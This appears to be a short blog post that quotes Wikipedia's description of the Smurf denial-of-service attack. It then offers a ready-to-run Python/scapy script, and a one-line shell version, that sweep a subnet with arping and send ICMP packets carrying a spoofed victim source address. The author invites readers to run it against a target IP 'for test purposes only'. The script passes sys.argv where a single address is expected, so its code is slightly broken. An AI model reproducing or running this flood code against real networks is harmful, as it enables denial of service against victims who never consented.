The Smurf Attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on. Wikipedia
#!/usr/bin/python from scapy.all import * import sys def send_packet(a): send(IP(src=sys.argv,dst=a)/ICMP()) def main(): a=arping('172.16.0.0/16',verbose=0) for i in a: send_packet(i.pdst) if __name__ == '__main__': main()Just run it with target IP in parameter. For test purposes only :)
After the lesson, i've told to my friend Viktor, that it's possible to write this script in one line in interactive shell. He told me that is maximum two lines.
Challenge accepted! :) And the result:
>>>send(IP(src='172.16.100.100',dst=[i.pdst for i in arping('172.16.0.0/16')])/ICMP())Выкуси! :)